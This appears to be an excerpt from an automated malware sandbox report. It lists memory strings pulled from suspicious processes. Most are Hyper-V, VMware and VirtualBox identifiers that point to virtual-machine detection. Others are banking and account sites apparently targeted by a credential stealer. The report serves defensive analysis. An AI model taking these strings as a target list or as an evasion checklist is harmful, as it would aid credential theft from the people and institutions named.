Source: regsvr32.exe, 00000010.00000003.2937736265.000000000132D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ctive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated
Source: firefox.exe, 00000025.00000002.3369904090.0000013844FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipesce
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisori
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processorllns
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000026.00000003.3394894548.000000000275C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service/
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical ProcessorQ
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V yhecjqevqcnouer Busn
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid PartitionC
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition*
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: 41266a11cd.exe, 00000018.00000003.3337713467.0000000005984000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: regsvr32.exe, 00000010.00000003.2952731451.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partition
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: regsvr32.exe, 00000010.00000003.2976303932.000000000391C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: skotes.exe, skotes.exe, 00000003.00000002.2171976391.0000000000BE8000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisord
Source: regsvr32.exe, 00000010.00000003.2951865907.0000000002D1E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2951920996.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O T
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processor
Source: powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: regsvr32.exe, 00000010.00000003.2937620050.000000000133A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual P
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partition
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: regsvr32.exe, 00000010.00000003.2980686846.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2982288416.0000000002E17000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2983307037.0000000002E19000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984374974.0000000002E20000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2982970073.0000000002E19000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2979263024.0000000002E09000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2981245732.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984336544.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/>
Source: 41266a11cd.exe, 00000011.00000003.3374804364.0000000000A78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa2
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: firefox.exe, 00000025.00000002.3366239956.000001383AF80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: ce23dfc9e9.exe, 00000007.00000003.3103276913.0000000001ACF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2979638617.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processor.sys
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipes
Source: firefox.exe, 00000025.00000002.3366239956.000001383AF80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration ServiceV
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Serviceyi
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration ServiceL
Source: regsvr32.exe, 00000010.00000003.2937736265.000000000132D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2935576406.000000000132D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Pg/
Source: regsvr32.exe, 00000010.00000003.2952606652.0000000002D26000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2956379063.0000000002D2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2952690382.0000000002D27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 0
